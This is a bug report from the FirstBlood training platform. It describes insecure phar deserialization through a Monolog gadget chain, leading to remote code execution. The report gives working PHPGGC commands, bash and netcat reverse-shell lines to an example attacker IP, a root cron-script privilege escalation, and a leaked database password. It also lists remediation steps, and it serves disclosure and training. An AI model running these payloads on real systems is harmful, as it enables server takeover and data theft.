FirstBlood-#690Insecure Deserialization leading to complete server takeover + Privesc
This issue was discovered on FirstBlood v2



On 2021-10-27, holybugx Level 5 reported:

Description

Hello Sean,

Insecure Deserialization is possible in the Vaccine Management portal through the file upload. Using this vulnerability I was able to completely take over the server and gain root access on the First Blood's server.

After Directory Brute-Forcing I found the exposed composer.json file which leaks the Monolog package within the version in use:

{
   "require":{
      "monolog/monolog":"2.1.1"
   }
}

Monolog is an open-source PHP library that aims to make logging easier and more efficient. Monolog sends logs to files, sockets, inboxes, databases, and various web services. Using Monolog in this attack as a gadget chain with the PHP misconfigurations in the application, it is possible to achieve RCE.

Steps To Reproduce

I used PHPGGC which is a library of unserialize() payloads along with a tool to generate them.

  1. Run the following command after installation (The in.jpg is an example image):
./phpggc -pj in.jpg -o out.jpg monolog/rce2 system "cat /etc/passwd"
  • If you are facing ERROR: Cannot create phar: phar.readonly is set to 1, create a php.ini file within the PHPGGC directory with the following content:
[phar]
phar.readonly = 0

And run the following command:

php -c php.ini ./phpggc -pj in.jpg -o out.jpg monolog/rce2 system "cat /etc/passwd"
  1. Upload the generated out.jpg file through the Vaccination Proof portal:

  1. In the HTTP response, you will be given the location of the uploaded file:

  1. After browsing to the stored file directory, you will face the boolean logic true:

  1. Use the PHP phar:// wrapper before the file path to execute the image file and gain access to the /etc/passwd file:

Reverse Shell

To easily switch between directories and execute commands using the PHP shell we have uploaded before, we can initiate a reverse shell to our server.

What is a Reverse Shell?

To gain control over a compromised system, an attacker usually aims to gain interactive shell access for arbitrary command execution. With such access, they can try to elevate their privileges to obtain full control of the operating system. However, most systems are behind firewalls and direct remote shell connections are impossible. One of the methods used to circumvent this limitation is a reverse shell.

How does a Reverse Shell work?

In a typical remote system access scenario, the user is the client and the target machine is the server. The user initiates a remote shell

connection and the target system listens for such connections. With a reverse shell, the roles are opposite. It is the target machine that initiates the connection to the user, and the user’s computer listens for incoming connections on a specified port.

The primary reason why reverse shells are often used by attackers is the way that most firewalls are configured. Attacked servers usually allow connections only on specific ports. For example, a dedicated web server will only accept connections on ports 80 and 443. This means that there is no possibility to establish a shell listener on the attacked server.

On the other hand, firewalls usually do not limit outgoing connections at all. Therefore, an attacker may establish a server on their machine and create a reverse connection. All that the attacker needs are a machine that has a public (routable) IP address and a tool such as Netcat to create the listener and bind shell access to it.

How did I get a Reverse Shell?

There are various ways to get a working reverse shell, I used Bash to initiate a connection to my controlled server:

./phpggc -pj in.jpg -o out.jpg monolog/rce2 system "bash -c 'exec bash -i &>/dev/tcp/1.1.1.1/7000 <&1'"

Note: The 1.1.1.1 is the attacker's example IP address and 7000 is the port.

As observed, the reverse shell is working and the attacker has access to the server through the initiated connection. However, the access level we currently have is a normal user i.e. fb-exec. We can try escalating our privilege to the Root user.

Privilege Escalation to Root

In the /app/docker directory there is a crontab file that contains:

* * * * * root cd /app/firstblood && php scheduler.php >> /dev/null 2>&1

The scheduler.php file has write access, which makes it possible for an attacker to write PHP commands inside the file. Whenever the cronjob starts, the command executes as well.

To confirm this, use the following command to get the output of the id command printed in a file:

echo "<?php echo exec('id > /app/firstblood/rce.txt'); ?>" > scheduler.php

Use cat /app/firstblood/rce.txt to read the file content:

uid=0(root) gid=0(root) groups=0(root)

As observed, the root access has been granted and privilege escalation was successful. To execute various system commands as a root user we can initiate another reverse shell to our controlled server.

Reverse Shell with Root Privileges

Use the following command to initiate a reverse shell connection to your controlled server. This time with Root privileges.

echo "<?php exec('nc 1.1.1.1 7001 -e /bin/sh'); ?>" > scheduler.php

Here is the outcome after the execution of the cron job:

Accessing the SQL Database

The accessible include/config.php file leaks the SQL database credentials which can be used to access the MySQL Database through CLI:

<?php

  $host = '127.0.0.1';
  $db   = 'firstblood';
  $user = 'firstblood';
  $pass = '6b5YjOkXZzorwKqGy4VhvqHzdbrekO';
  $charset = 'utf8mb4';

  $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  $opt = [
      PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
      PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
      PDO::ATTR_EMULATE_PREPARES   => false,
  ];

?>

Use the following command to access the MySQL CLI. Make sure to enter the password when prompted:

mysql -u firstblood -p

As observed, It is possible to access the SQL database and run various queries using the leaked config files.

Impact

  • Insecure Deserialization leading to complete server takeover.
  • The scheduler.php file has write access which leads to privilege escalation to the root user.
  • The SQL Database is accessible from CLI using the include/config.php leakage.

Remediation

  • Disable the phar:// PHP wrapper which deserializes metadata by design.
  • Do not accept absolute path in the /checkproof.php endpoint.
  • Validate the paths in the /checkproof.php endpoint.
  • Update the Monolog product to the latest version.
  • Disable access to the various leaked composer files.

Kind Regards,

HolyBugx

P1 CRITICAL

This report contains multiple vulnerabilities:

  • Deserialization
  • RCE
  • Information leak/disclosure


FirstBlood ID: 34
Vulnerability Type: Deserialization

This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.

FirstBlood ID: 35
Vulnerability Type: RCE

A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.

FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure

It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.